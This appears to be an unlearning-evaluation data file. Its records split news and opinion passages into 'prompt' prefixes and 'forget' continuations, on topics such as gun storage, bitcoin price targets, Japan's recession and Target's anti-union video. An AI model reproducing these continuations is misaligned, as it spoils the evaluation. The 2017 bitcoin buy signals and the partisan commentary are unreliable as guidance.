{"prompt": "In a week of things that only happen with guns and in America, add yet another to the list. In Rock Hill, South Carolina, Americans\u2019 propensity for leaving semi-hidden deadly weaponry around like it\u2019s a Hanukkah present allowed a 2-year-old to grab a .357 revolver and shoot his grandmother in the back. The toddler\u2019s great-aunt was taking him for a ride in her car, and naturally there was a revolver in the back pouch of the seat in front of him, where he could reach it and shoot his grandmother, who was sitting in the passenger seat. \u201cThere could be", "forget": "some child neglect or some unlawful conduct towards a child charges based on the age of the child and leaving the gun within reaching distance of a young minor,\u201d said Rock Hill Police Chief Mark Bollinger. The operative phrase is \u201ccould be.\u201d If the grandmother or great-aunt had put the toddler in the back without a car seat, you can bet your ass there\u2019d be charges. If they\u2019d put a shot of whiskey in front of him, same deal. Or if they hadn\u2019t fed him or left him in a hot car, or perhaps, if he were five years older, just let him walk less than half a mile to a playground. But a gun within reach, nah. Not in the America where we\u2019re electing cast members from Buckwild to represent us in Congress. Tea Party ignoramuses think a gun fetish is just a lifestyle choice and National Rifle Association (NRA) bullshit and legalistic bribes are tantamount to Solomonic judgments. For here again, as with the campus shootings in Oregon, Texas, and Arizona, or the execution of a reporter on live television in Roanoke, Virginia, the NRA is clearly culpable. It has lobbied against every attempt to require that guns be stored with safety locks and told parents not to use them. It fights against the requirement or even existence on the market of smart gun technology that would allow only the owner of the weapon to use it. It has fought mandated training and the kind of personal liability insurance requirement that tends to make people more careful with their deadly weaponry. No, the NRA pushes on kids its inane Eddie the Eagle, a cartoon character who\u2019s supposed to convince children to get an adult when they see a gun. It\u2019s been proven to work about as well as"}
{"prompt": "At 75, Kollock-Wallace has the posture and muscle tone of a person half her age. She credits a lifetime of physical activity that began when she was a girl in South Carolina. \u201cI have been an athletically inclined person from birth,\u201d she says. \u201cI think I came out kicking.\u201d All the more reason, says longtime Brownsville resident Bettie Kollock-Wallace, to provide better infrastructure for the many area residents who ride bicycles for transportation and exercise, and for the many more who want to but are scared to try. The physical distance between a famously contested Prospect Park West bike lane", "forget": "in Brooklyn's upscale Park Slope neighborhood and the city's newest lane, on Brownsville\u2019s Mother Gaston Boulevard, is only about three and a half miles. But the economic gap is huge. Brownsville remains one of the poorest neighborhoods in New York City, with a stubbornly high crime rate . A new stretch of bike lanes debuted in Brooklyn this week, but this time they're not being met with outrage or protests. After retiring as an educator, Kollock-Wallace threw herself into a variety of fitness pursuits \u2013 becoming a certified physical trainer, learning how to swim and teaching others to do the same as a volunteer at the local recreation center, and riding her trusty 20-year-old Royce Union bicycle. But the attitude she got from drivers on the street bothered her. \u201cPeople do not respect bikers,\u201d she says. \u201cThey have a tendency to resent them.\u201d Friends and neighbors who might have been interested in riding with her were put off by the hostile environment. \u201cA lot of people have fear of the traffic,\u201d she says. Bettie Kollock-Wallace worked for two years to bring bike lanes to Brownsville. (Sarah Goodyear) So she set out to do something about it. Kollock-Wallace serves as the chair of the local community board, a position that has allowed her to advocate for improvements in the neighborhood she's called home for 40 years. One of the improvements she wanted to see was bike lanes. So, back in 2011, she started pushing. \u201cYou see, some of us bloom when we\u2019re old,\u201d she says with a mischievous smile, referring to her role as a community advocate. \u201cYou have to either have to have a lot of energy or be a little bit crazy, and I\u2019m some of both.\u201d The new bike lanes are just one of many efforts by neighborhood"}
{"prompt": "I'm interested in the weather. Who isn't? We groom for the atmosphere. Daily we apply our mothers' prognostics to the sky. We select our garments accordingly; like flags or vanes we signify. But I'm interested in weather also because cultural displacement has shown me that weather is a rhetoric. Furthermore, it is the rhetoric of sincerity, falling in a soothing, familial vernacular. It's expressed between friendly strangers. I speak it to you. A beautiful morning. You speak it back. The fog has lifted. We are now a society. To say insincerity is foreign to weather is precise. Weather is the", "forget": "mythic equilibrium of the social, rising and falling in the numbly intimate metres of the commonplace. For a long time the rhythm's opaque to the stranger. Haltingly you begin to sing, during the long cab ride from the airport, the long chorus of place. You enter a new weather, an unfamiliar system of sincerity. You learn it by example. You begin to adjust, to settle; put in order; regulate. But you are a spy in sincerity. The real knowledge of weather is indigenous. Should it come as a surprise that Britain's most profitable television export is not costume drama but weatherporn? Weatherporn. An atmospheric condition dallies with some lives and we drink its lusty spectacle from the screen. Description pries up, frees itself, briefly phatic, expresses a gestural plenitude, framed by but untied to the sociality of objects. This loosening is diction as rhythm. It crosses borders. The weather becomes a flickering social prosody. As it abstracts into rhythm it becomes commodified, universal. Really. It was a fireball, right through the front door, and out the back. It's real. It's mythic. It's wild. It's a vernacular. It's didactic. It's boredom. It's ceaseless. It's a delusional space. Stacy Doris says \"In terms of geographies and nationalities, the best bet for poetry is delusional space. . . Any poetry that doesn't somehow begin in a realm of wild fantasy is not worth the writing.\" This weather's the wild fantasy. It seizes us. Together our faces tilt upwards. A wild dream of parity must have its own weather and that weather will always have as its structure an incommensurability. If each forecast is a fiction I prefer to add to that fiction alternate delusions-- a delusionary politics that describes current conditions as it poses futurities. I mean it. Here is want I want"}
{"prompt": "Media playback is unsupported on your device Media caption Despite the pledge on emissions, there are still areas of disagreement, reports Carrie Gracie China and the US have unveiled new pledges on greenhouse gas emissions, as the leaders of the two countries met for talks in Beijing. US President Barack Obama said the move was \"historic\", as he set a new goal of reducing US levels between 26%-28% by 2025, compared with 2005 levels. China did not set a specific target, but said emissions would peak by 2030. The two countries also agreed to reduce the possibility of military accidents", "forget": "in the air and sea. The news came during a state visit by Mr Obama to Beijing, which followed a major Asian regional summit. It is the first time China, the world's biggest polluter, has set an approximate date for emissions to peak. The two countries together produce about 45% of the world's carbon dioxide. The unexpected announcement is a bid to boost efforts to secure a global deal on reducing emissions after 2020, to be finalised next year in Paris. \"We agreed to make sure that international climate change negotiations will reach an agreement in Paris,\" said Mr Xi, speaking to reporters after the announcement. Roger Harrabin, BBC environment analyst This agreement between the great polluters is a landmark in the battle against one of the world's most intractable problems. For years the US feared if it cut emissions, energy bills would rise - and divert jobs to China. Now the relationship is switching, from \"we won't if you won't\" towards \"we will if you will\". President Obama's offer is based on cuts in carbon emissions from coal power (a policy the Republicans threaten to reverse). China's offer to peak emissions is a long-awaited decision. Its emissions trajectory is now similar to Europe and the USA, just further behind because it still has so many people in poverty. Scientists will fear this agreement is not yet strong enough. But it does show leadership - and it sends a powerful signal to financiers that investing in dirty fuels for the future is becoming a risk. Follow Roger on Twitter 'Slow, peak then reverse' The new goal from the US is up from a previous target to cut emissions by 17% by 2020, compared with 2005 levels. In September, China told a United Nations summit on climate change that it would"}
{"prompt": "It\u2019s not their fault. Miles from it. Yet, as always, they stand before the microphones, lights and cameras and own it. Daniel and Henrik Sedin, aged 36 and ticking, bear the weight of a franchise misguided. The four shutouts in five games, the seven-game losing skid, the league-worst offence, the pucks that bounce along the opposing goal-lines but refuse to trickle Vancouver\u2019s way \u2014 they carry it all. They spin it positive, they dig for a bright side, and they play through the pain. \u201cIt\u2019s heavily on our minds. It\u2019s been that way throughout our careers. We think about it", "forget": "before every game: We know we\u2019re going to have to score goals,\u201d says Henrik. \u201cIt\u2019s something you think about all day, every day. \u201cWhen you\u2019re away from the rink you try to think of other things, but\u2026 we take a lot pride in scoring. If we\u2019re not scoring, we don\u2019t want to put pressure on anyone else to score.\u201d Want to stream all 82 Canucks games this season? Sign up for Sportsnet NOW The Canucks captain and 2010 Hart and Art Ross Trophy winner leads the club in points (five), and brother Daniel is one behind. But when ownership is dreaming playoffs and you\u2019re the franchise players with the offensive-zone starts and cushy power-play time, the pressure hits you hardest. \u201cOur line needs to step up. Me and Hank. That\u2019s what we\u2019re here to do. That\u2019s on us,\u201d says Daniel. \u201cLook nowhere else. It\u2019s up to us to get things going.\u201d It\u2019s admirable, the Sedins\u2019 proprietorship of Vancouver\u2019s ineptitude, especially when they say all of this sincerely without a trace of woe-is-me. Certainly it\u2019s not the twins\u2019 fault that their employer failed to fill out the rest of the top six with finishers, that marquee free-agent signing Loui Eriksson is goal-free in 11 games, or that ownership is reluctant to embrace the type of rebuild that has fans buzzing about the future of Canada\u2019s other sub-par rosters, the ones in Winnipeg, Calgary and Toronto. \u201cThat\u2019s a fun team to follow,\u201d Daniel says of the Maple Leafs, whose kids get the Canucks at the visitors\u2019 low point on Hockey Night in Canada Saturday. How anti-fun is Vancouver\u2019s offence right now? There is a bigger discrepancy between the Canucks\u2019 1.45 goals per game and the second-worst NHL offence (Los Angeles) than between any other two adjacent teams on the list. Vancouver ranks"}
{"prompt": "Bitcoin Price Soars to New Record High at $1425 The price of bitcoin is at record highs on May 1, reaching $1425 on the Bitstamp exchange, after breaking the previous all-time high at $1350. A move above the peak reached in the market mayhem accompanying the SEC\u2019s ETF decision indicates that a long-term target for bulls has been validated at $1719.97. The monthly timeframe is shown below, with April\u2019s candlestick displaying bullish dominance with a Marubozu, suggesting that it may be an optimal time to enter into a long position on bitcoin. After see-sawing around $1163 in February and March,", "forget": "a clear break of the $1163.00 handle has been achieved in April, pointing to a move toward $1829.20 over the remainder of 2017. Also, notice that the Ichimoku cloud and converison line (blue) are moving higher as compared to the previous month, suggesting that the market will continue to trend higher for May. Week on week volume has been growing for the past 21 days, pointing to further gains ahead, as shown by the chart below. The next target for buyers will lie at the 161.8 percent Fibonacci extension level at $1719.97. Also, notice that the Awesome Oscillator is following the price, establishing a breakout this week from the previous peak of the Oscillator at 346.25 during the week beginning March 13. This confirms the breakout will lead to further gains and gives a strong probability the market will reach $1719.97 over the long term. The daily chart for BTC-USD is shown below. Notice the sharp graident of the conversion line, which is almost vertical, suggesting strong bullish momentum. Also, we see that the Market Facilitation Index is green, suggesting that traders should follow the market momentum and try to buy in into the ongoing uptrend. However, we may see some short-term correction. For example, the market has almost reached the Fibonacci extension level at $1432.44 and may turn back down to support at $1321.12. However, a break above $1432.44 will open up resistance at $1543.76. Bitcoin has been rising recently as the SEC announced it will reconsider the ETF decision for the cryptocurrency. Bats exchange submitted an appeal on March 23, asking the regulator to revert its position. If the decision is reversed and a bitcoin ETF is given the go ahead, this would bring fresh capital into the cryptocurrency and consequently push its value much higher, so the"}
{"prompt": "Japan's exports have also declined amid economic contraction [File: EPA] Japan's economy has slipped into recession after a worse than expected performance for the first quarter of the year. The economy contracted sharply in the first quarter, as factory production and consumer spending declined in the aftermath of the March 11, 2011, earthquake and tsunami. Real gross domestic product - a measure of the value of all goods and services produced domestically - shrank at an annualised rate of 3.7 per cent in the January-March period, the country's cabinet office said on Thursday. The result marks the second straight quarter", "forget": "that the world's third largest economy has lost steam and undershoots an annualised 2.3 per cent fall forecast in a Kyodo News agency survey. While there is no universally accepted definition of a recession, many economists define it as two consecutive quarters of GDP contraction. Others consider the depth of economic decline as well as other measures like unemployment. Japan's magnitude-9.0 earthquake and tsunami left more than 24,000 people dead or missing, and wiped out entire towns in the hardest-hit areas. Damage is estimated at $300bn, making it the most expensive natural disaster in history. It damaged factories in the region, causing severe shortages of parts and components for manufacturers across Japan, especially automakers. A crippled nuclear power plant caused widespread power shortages that added to the difficulties faced by businesses and households. Seijiro Takeshita, director of Mizuho International, told Al Jazeera that recovery may take a long time because clean-up efforts were taking so long. Consumer spending falls Japan's factory production and consumer spending both fell the most on record in March. Exports in March went south for the first time in 16 months. Companies are reporting lower earnings and diminished outlooks for the rest of the fiscal year. Toyota, Japan's biggest automaker, said last week that its quarterly profit tumbled more than 75 per cent because of parts shortages after the tsunami. As of May, the crisis cost the company production of 550,000 vehicles in Japan and another 350,000 overseas. Toyota is expected to lose its spot as the world's top-selling automaker to General Motors this year. Even before the disaster, Japan's economy was shaky. In a historic shift, China overtook the country as the world's second largest economy last year. Japan struggled to address a slew of problems including years of deflation, a rapidly ageing and shrinking"}
{"prompt": "Articles It is hard to believe that just three weeks ago the entire corporate media was in uproar over Syria; specifically, about the need to 'do something' in response to an alleged chemical weapons attack in Khan Shaykhun, Idlib, Syria, on April 4. Guardian commentator George Monbiot summed up the corporate media zeitgeist: 'Do those who still insist Syrian govt didn't drop chemical weapons have any idea how much evidence they are denying?' Monbiot linked to evidence supplied by Bellingcat, an organisation hosted by Eliot Higgins. In a 2014 letter to the London Review of Books, Richard Lloyd and Ted", "forget": "Postol, described by the New York Times as 'leading weapons experts', dismissed Higgins as 'a blogger who, although he has been widely quoted as an expert in the American mainstream media, has changed his facts every time new technical information has challenged his conclusion that the Syrian government must have been responsible for the sarin attack [in Ghouta, August 2013]. In addition, the claims that Higgins makes that are correct are all derived from our findings, which have been transmitted to him in numerous exchanges'. Professor Postol, a professor emeritus of science, technology, and national-security policy at the Massachusetts Institute of Technology, has an impressive record of fearlessly debunking propaganda. For example, the Pentagon declared the Patriot missile system no less than 98% successful at intercepting and destroying Iraqi Scud missiles during the 1991 Gulf War. After careful examination, Postol found that the Patriot's success rate was rather less impressive: 'It became clear that it wasn't even close to intercepting any targets, let alone some targets.' (Postol, quoted, Great Military Blunders, Channel 4, March 2, 2000) Postol has now challenged a White House report on the alleged chemical weapons attack in Idlib. He notes: 'The only source the document cites as evidence that the attack was by the Syrian government [air force] is the crater it claims to have identified on a road in the North of Khan Shaykhun.' But Postol claims that the White House's photographic evidence 'clearly indicates that the munition was almost certainly placed on the ground with an external detonating explosive on top of it that crushed the container so as to disperse the alleged load of sarin'. He adds: 'I have reviewed the document carefully, and I believe it can be shown, without doubt, that the document does not provide any evidence whatsoever that the"}
{"prompt": "Picture by Swiss Metro Soon Switzerland could get holes like the famous Swiss cheese: If everything works out for the planners of the \"Swissmetro\", than by middle of this century the metropolitan areas Z\u00fcrich, Bern, Lausanne, Geneva und St. Gallen should be connected through a Tunnel system, that is breathtaking in the true sense of the word. A maglev train without wheels should, similar to the already activated Transrapid in Shanghai release the aboveground commuter traffic in a low pressure-duct of 6 meters. The advantages of the idea are evident: Traffic jams, accidents, weather capers and a lot more force", "forget": "the traffic planers to perennially new extensions. Bigger tunnels have to be dug for the traffic, bridges are rebuilt or broadened. Speedier railway systems are run, which have to be protected by game fences and only save a few minutes time as well. All of that is becoming more and more costly through environmental regulations, mile long winding detours and abutter oppositions. A long-distance-subway would not only be environmentally sound compared to present traffic systems, it could also be dug dead straight, like an air-line distance of a plane in a depth of a 100 meters (under the groundwater table), because neither mountains nor difficult site would present an additional barrier. Swissmetro-Vice President Dr. Vincent Bourquin in the Interview: \"Digging such a tunnel system over hundreds of kilometers is naturally not so cheap. But according to an international study the Swiss metro system is more beneficial over long distances than freeways and railway lines with all their constructional and legal problems.\" Picture by Swiss Metro Once built, such a subway could not only snow-and ice-free outrank the traditional Swiss railway, but also rank before aircrafts with half of a sonic speed on short distances. Dr. Vincent Bourquin: \"Our Vacuum-Metro and the aircraft are quite alike in many points: During normal air pressure in the tunnel sections our wheel-less Railway-Torpedo would be on the way with approximately 200 km/h. If one reduces the air pressure, lowers the air resistance, in such a way that a partial-vacuum is produced, the train can be much faster \u2013 with up to 600 km/h. Airplanes take advantage of the same trick by ascending into huge height, because the air pressure is lower there. There aircrafts fly speedier and save more fuel as well. Therefore the Swissmetro would be provided with the same over centuries proved"}
{"prompt": "Contributing to GHC via Phabricator zw3rk Blocked Unblock Follow Following Dec 21, 2017 About two weeks ago I gave a talk on \u201cContriubting to GHC via Phabricator\u201d at the local haskell.sg Meetup. Sadly the microphone died after a few minutes into the recording, and as such the video has no audio for most of the talk and is pretty useless. As the topic might be of interest to those who could not attend, I\u2019ll write down the content of the talk as good as I can. Phabricator?! Let\u2019s start with what Phabricator is, Phabricator is the code review tool GHC", "forget": "uses. It was originally developed at Facebook by Evan Priestley, who has since founded Phacility, Inc where the development of Phabricator continues. Phabricator is not just used at GHC, it is also used for other projects like LLVM, the Wikimedia Foundation, FreeBSD, and a many more. I will now try to demonstrate the usage of Phabricator for a simple change (with many pictures!). Creating an account When visiting phabricator.haskell.org, this is the first screen you will be greeted with. We will proceed to open an account so we can do something useful. Upon clicking the \u201cLog in\u201d button you will reach the Log In form. While you can register a new account, I would suggest to use on of the available alternative account connectors. For this example, we\u2019ll use GitHub. It will pull some username and Real Name from GitHub, but you will still be required to provide an email address. With the account we could not start reviewing other peoples code, or even submit our own code for review. So let\u2019s do this next. I have a change in my tree Phabricator is not really concerned how your local tree looks like. It essentially only cares about differences. So you can go wild with your local branch management; use git however you like. For Phabricator try to think in patches (differences) instead of commits. For the following example, I\u2019ve been working on cross compiler related issues and while doing so, I usually accumulate lots of different fixes in my branch. As such I now have some commit ( c93b5bbf1c adds -latomic to ghc-prim ) somewhere in my history, which I\u2019d like to get into GHC proper. Let\u2019s go ahead and create a new branch from origin/master and cherry-pick the relevant commit onto it. You could do this however you"}
{"prompt": "\u0420\u0443\u0441\u0441\u043a\u0438\u0439 English | Deutsch Blog Concepts Studios Milestones Archive 1981 Citroen Xenia (Coggiola) 1981, Citroen, Designed/Built by Coggiola, Frankfurt81, Trevor Fiore Tags: Concepts Citroen Xenia Concept, 1981 Citroen Xenia Concept, 1981 Citroen Xenia Concept, 1981 Citroen Xenia Concept, 1981 Citroen Xenia Concept, 1981 - Interior Citroen Xenia Concept, 1981 - Interior Citroen Xenia Concept, 1981 - Interior Citroen Xenia Concept, 1981 - Interior Citroen Xenia Concept, 1981 Citroen Xenia Concept, 1981 \u0420\u0438\u0441\u0443\u043d\u043e\u043a \u0410. \u0417\u0430\u0445\u0430\u0440\u043e\u0432\u0430 - Citroen Xenia, 1981 Images: Concept Car Central; Mario Buonocunto Concept Cars Page Rating: 36 -16 +52 Comments ( ) Trevor Fiore was responsible for the", "forget": "\"break monocorps\" Xenia. Fiore envisaged it as a GT for the year 2000. Unfortunately the concept was not developed any further. Throughout the eighties, Citro\u00ebn turned down the idea of a single volume car, notwithstanding the success enjoyed by the Renault Espace. Indeed, PSA turned down the idea when Matra first showed them the idea, based on a BX platform. It was not until the launch of Evasion/Synergie that Citro\u00ebn produced an MPV. The fashion in the early eighties was for motor manufacturers to display scale models of concept cars rather than vehicles that could actually be driven and Citro\u00ebn was no exception.Trevor Fiore was responsible for the \"break monocorps\" Xenia.Fiore envisaged it as a GT for the year 2000.Unfortunately the concept was not developed any further.Throughout the eighties, Citro\u00ebn turned down the idea of a single volume car, notwithstanding the success enjoyed by the Renault Espace.Indeed, PSA turned down the idea when Matra first showed them the idea, based on a BX platform.It was not until the launch of Evasion/Synergie that Citro\u00ebn produced an MPV. The four-passenger Xenia was designed for the American market. With clean lines and loads of glass, the Xenia was also safely-designed, with a straight body line set over the car's 168-inch length and 40-inch height. At the rear, the taillights were placed very low on the rear bumper, under the large glass hatch incorporating the car's name in large letters. The windshield was extended down onto the cowl line for increased visibility. Also continuing this theme were side windows continuing downward. At the base of the windshield were solar battery cells which produced energy for the entertainment system and comfort features when the car wasn\u2018t running. All four pear-shaped seats were divided by a central transmission tunnel. All instruments were in visibility of only"}
{"prompt": "Six-time Olympic medallist Clara Hughes told an audience in Thompson March 16 that she thought winning her first Olympic medal \u2013 a bronze medal in cycling at the 1996 Olympics in Atlanta \u2013 would quiet the feelings she had carried inside her since childhood, the idea that if she was the best at everything it would cure her family\u2019s dysfunction. But it didn\u2019t. article continues below Hughes was speaking at a public event in R.D. Parker Collegiate\u2019s Letkemann Theatre as part of the eighth-annual Hope Forum, an event put on by the Hope North Suicide Prevention Committee in Thompson to", "forget": "promote life and encourage frank, open discussion about mental illness and mental health. Tied with Cindy Klassen as Canada\u2019s most-decorated Olympic athlete, with medals in multiple summer and winter games in cycling and long-track speed skating, Hughes might seem like the ultimate example of a person who\u2019s got it all together. But the fact is, she earned those medals despite, and in some ways because of, her own mental health struggles and those of her family. \u201cYou can learn to manage, you can learn to cope and you can thrive with it,\u201d she said of mental illness. \u201cFour of those Olympic medals of the six that I won came after my first bout of depression, came within other relapses into depression.\u201d A Winnipegger, Hughes told the crowd, which rewarded her with a standing ovation at the conclusion of her speech, that she remembers when she hid in a closet in her Elmwood home as a child, anticipating that her alcoholic father would come home and the family would come looking for her and they\u2019d have a night as a nice, normal family. She fell asleep waiting for him to get back and when she awoke, the sounds she heard were not those of a happy family but of arguing parents. \u201cI sat in that closet that night and for the first time felt a sense of hopelessness and worthlessness and failure and I was five and I know I\u2019m not the only person in this room that has felt that,\u201d said Hughes. Her sister, who has bipolar disorder and depression, sought solace in the streets and was sent to juvenile detention at the age of 13, spending the rest of her teens in custody and group homes, away from her family. Hughes was travelling down that same path, smoking a"}
{"prompt": "In a very special gesture,President @EPN personally drives @narendramodi to a restaurant for Mexican vegetarian fare pic.twitter.com/fF4WWQvUy2 \u2014 Vikas Swarup (@MEAIndia) June 9, 2016 Bonding over bean tacos! President @EPN and PM @narendramodi share a meal pic.twitter.com/ckmsmpjWo7 \u2014 Vikas Swarup (@MEAIndia) June 9, 2016 PM ends by quoting Octavio Paz \u201cI can understand what it means to be Indian, because I am Mexican\u201d Says its true the other way too. \u2014 Vikas Swarup (@MEAIndia) June 9, 2016 NEW DELHI: PM Narendra Modi's cup runneth over in Mexico City today.He got a rapturous welcome from the Indian community in Mexico City.", "forget": "Then, he got President Enrique Pe\u00f1a Nieto's \"positive and constructive support\" for India's bid to join the Nuclear Suppliers Group (NSG).And to top it all, Pe\u00f1a Nieto personally drove PM Modi for a vegetarian dinner to Quintonil , one of the world's top 50 restaurants of 2015.The PM and Pe\u00f1a Nieto \"Bonding over bean tacos!\" tweeted external affairs ministry spokesman Vikas Swarup.Modi is the first Indian PM to go on a state visit to Mexico, since former PM Rajiv Gandhi's trip in 1986.And to be sure, there must have been a lot more than bean tacos on the table. President Pe\u00f1a Nieto certainly picked well for the PM, a strict vegetarian.When theworlds50best.com put the restaurant at number 35 in the world last year, it specifically mentioned its vegetarian fare.\"Though meat is a feature on the tasting menu, (Chef Jorge) Vallejo aims to highlight the value of fruit and vegetables, as much for their flavour as for their nutritional value. Dishes on the tasting menu include huazontles, a green vegetable that vaguely resembles broccoli, with chiapas cheese and red tomato, and nopal cactus snow,\" the write-up said.Quintonil has also been lauded for being environmentally conscious. A large part of the reason for India wanting NSG membership is so it can move forward in its effort to stem climate change.The restaurant then was perhaps a perfect venue for Modi and Pe\u00f1a Nieto to chat more about the latter's ''constructive'' NSG support.\"With a strong commitment to reducing the ecological footprint of its food, Quintonil also sources much of its produce from its own urban orchard. While the majority of food in Mexico travels on average some 2,500 km from origin to plate, at Quintonil much of it is picked on a daily basis and travels just 30 metres.\"Foodies waiting to see if Swarup"}
{"prompt": "TAGUIG, Philippines \u2013 (UPDATED 1-Oct-14 19:33) A video showing Bonifacio Global City guards restraining a Caucasian man at the corner of 5th and 30th Avenue in BGC at 5:24PM on Saturday September 27 has been uploaded to YouTube in what can be considered a classic case ofpolice brutality.The video shows an un-armed Caucasian man wearing a light-colored polo shirt, khaki shorts, and blue sneakers being manhandled by at least seven uniformed officers while another one lay still, just a few meters away. Initially he was being restrained by two Bonifacio Global City guards, and two more quickly join the fray.A", "forget": "marshal wearing only the standard black and orange guard uniform(no reflector) can be seen punching the Caucasian man in the stomach. A few seconds later he is surrounded and being forced onto the floor, his body pink and sore and his clothes all torn.In the confusion, one of the guards can be heard saying \u201cposasan mo!\u201d (cuff him) while the white keeps on saying \u201cI\u2019d like you \u2026 I\u2019d like you \u2026 yes \u2026 it\u2019s okay \u2026 it\u2019s okay\u201d.At the end of the video, one of the guards can be seen approaching the cameraman while shouting \u201choy! putang ina mo ah! huy bakla!\u201d (hey! you son of a bitch! you faggot!).Bonifacio Global City, Taguig contains a very high presence of expatriates from other countries due to the presence of business establishments and BPO (business process outsourcing) companies.Just two best friends on vacationAccording to our source, the two are English best friends Sam & Chris. Sam is a BGC resident and Chris is staying for vacation.Here\u2019s what happened before this incident:The English men\u2019s names are Sam & Chris, two of the nicest people I\u2019ve known in the city. Sam is a resident of BGC & Chris is his best friend who\u2019s here for vacation. Sam just wished to use his skateboard and have fun that Saturday Afternoon Sept 27. They initially played in front of Banana Republic along fifth avenue, two lady police women approached them and nicely told them that they can\u2019t use the board in that area and they instructed them to play at the park instead, which they did.At the park, a lady marshal the one shown in the video with a proud look at 1:16 stopped them rudely unlike the police women. As per Sam\u2019s sharing, in their country they look up to their police officers as"}
{"prompt": "One of the best things about beer gardens is getting your brew in one of those giant mugs that seem tailored specifically for Vikings or professional wrestlers. These enormous old-fashioned steins hold enough beer to fuel an entire afternoon of relaxation and camaraderie\u2014and if you use them often enough, your drinking arm will get noticeably bigger than your other arm. In recent years, beer gardens inspired by their nineteenth-century predecessors have been returning to American cities. These places are often named with some variation of the classic German \"biergarten,\" and are characterized by open spaces, big tables, and large crowds", "forget": "during Sunday afternoons. Alongside classic cocktail bars, the new beer gardens draw inspiration from the past to create a modern drinkscape drenched in nostalgia, and create a lens for understanding America's drinking past. America's first beer gardens appeared in the nineteenth century, courtesy of a wave of German immigrants. America's gardens closely resembled their counterparts in the Old World, which were sprawling establishments conducive to lazy Sunday afternoons spent with family or striking up conversations with friendly strangers. Germany's beer gardens were originally created after brewing was banned during the summer months due to repeated brewery fires. Breweries responded to the ban by digging cellars near riverbanks to keep their beer cool until they needed it in summer and to give their lager-style beers the proper conditions to ferment properly. Breweries cooled these cellars further by scattering gravel on the ground and planting leafy shade trees. It wasn't long before tables and chairs showed up in these pleasant environs, and the beer gardens grew to host thousands of people who congregated to listen to music, discuss politics, play chess, or just lounge about in the sun. American beer gardens followed suit, offering a stark contrast to saloons and taverns that were often dark and dingy places designed for grouchy old men to take quick slugs of whiskey. American beer gardens helped German immigrants preserve part of their identity and heritage, but also introduced other Americans to a more relaxed form of drinking while offering a space to hold athletic events, as well as civic and religious functions. The rise of beer gardens in America coincided with the opulent industrial and economic advances of the Gilded Age, and their style reflected that. The gardens built by brewing giants such as Frederick Pabst and Frederick Miller to promote their brands were the"}
{"prompt": "Target\u2019s anti-union video for employees -- which previously drew ridicule for strained and earnest delivery, kitschy and melodramatic graphics, and sub-par production values -- appears to have gotten a makeover. The newer video, reviewed by Salon (but which is not being re-posted for legal reasons), echoes or repeats verbatim many of the lines from its predecessor, which Gawker\u2019s Hamilton Nolan posted in 2011 and mocked as \u201cshitty propaganda\u201d with \u201cthe production values of an eighth-grade educational film.\u201d Gone are the switch to black-and-white (to depict a unionized universe); the trippy image of $20 bills stacking up against a shifting red", "forget": "background (to represent union dues), and the sight and sound of a slamming door (to portray being cut off from communicating directly with management). An actual Target executive no longer makes a cameo to stiffly set forth Target\u2019s stance on organizing; instead, the two stars of the new film (\"Dawn\" and \"Ricardo,\" replacing \"Doug\" and \"Maria\") make all points on his behalf. Advertisement: But the message is much the same: Narrators tell employees -- whom union organizers charge were required to watch the video in mandatory meetings -- that right now, \u201cWe put people in jobs because they\u2019re well-suited for them, not because of the day they happened to get hired.\u201d If a union came in, \u201cchances are they would change our fast, fun and friendly culture, with their way of doing business.\u201d Workers are warned that \u201cthis is a very competitive business that we\u2019re in,\u201d and that \u201cIf Target faced rigid union contracts like some of our competitors, our ability to serve our guests could suffer dramatically \u2013 and with fewer guests, what happens to our team?\u201d Even if they vote union, they\u2019re told, \u201cManagement doesn\u2019t have to agree to any union demand.\u201d The video closes with a pledge that \u201cthere are always people you can talk to,\u201d and a list of five places to take your questions: \u201cSupervisors/leaders\u201d; \u201cHuman Resources\u201d; \u201cChat Sessions\u201d; \u201cBest Team Survey\u201d; and \u201cEmployee Relations and Integrity Hotline\u201d (not listed: rank and file co-workers). The Target video, \u201cThink Hard: Protect Your Signature,\u201d was shown to Valley Stream, N.Y., Target employees in the lead-up to a 2011 unionization vote, according to the United Food & Commercial Workers union. Target was compelled to turn over the video as part of the National Labor Relations Board\u2019s investigation of alleged illegal union-busting prior to that election, in which employees"}
{"prompt": "Over the last 24 hours on Twitter there was a perfect example of how mainstream fake news happens. Of course, it\u2019s an old story \u2013 on Wednesday, a lazy article claimed Corbyn had asked no questions on Brexit in PMQs (Prime Minister\u2019s Questions) even though the reporter knew that Theresa May was making her Article 50 statement after PMQs, to which Corbyn asked many pointed questions \u2013 but the fake news stuck in the minds of some, perhaps many. Similarly, the nonsense about Corbyn \u2018failing\u2019 to declare part of his income in his tax return was thoroughly debunked immediately after", "forget": "it was claimed \u2013 but just a couple of days ago, mainstream publications like the Evening Standard were repeating it as fact. Lazy journalism or malicious \u2013 either way it\u2019s inexcusable. Today\u2019s example started with an ill-phrased Twitter comment yesterday by Buzzfeed journalist Marie Le Conte in which she complained about slow responses by Labour to requests for quotes from the leadership: Others jumped in, ready (or keen) to reinforce the apparent point that Corbyn\u2019s comms team is slow and, presumably, ill-organised: Within half an hour, Jeremy Corbyn\u2019s \u2018LOTO\u2019 (Leader of the Opposition) head of communications, Matt Zarb-Cousin, responded quickly to make the point that he, well, always responds within half an hour: To her credit, Ms Le Conte was quick to backtrack and clarify: However, in the interim, a host of \u2018journalists\u2019, no doubt happy to have a ready-to-eat Corbyn-kicking/Labour-bashing story on hand, had already started to spread the original, misleading comment as \u2018news\u2019. Sam Coates of the Times appears to have been fastest: Quickly followed by a \u2018Who\u2019s Who\u2019 of anti-Corbyn/pro-LibDem journalists and hacks: That vital ingredient in the anti-Corbyn fake-news souffl\u00e9 \u2013 the self-serving blairite malcontent(s) keen to stir the excrement \u2013 wasn\u2019t absent for long. In this case, it was one of the worst, Neil Coyle, who was quick to capitalise: Once word got around about Matt Zarb-Cousin\u2019s response and Ms Le Conte\u2019s subsequent correction, other journalists, including right-wingers such as Guido Fawkes \u2013 plus one or two of those who\u2019d jumped on the wrong bandwagon, to be fair to them \u2013 acknowledged it: Not the odious Coyle, of course. But the narrative of incompetent/inefficient comms at Jeremy Corbyn\u2019s office was already set \u2013 and anyone who didn\u2019t catch the later corrections or who only followed those who failed to correct will still be carrying the"}
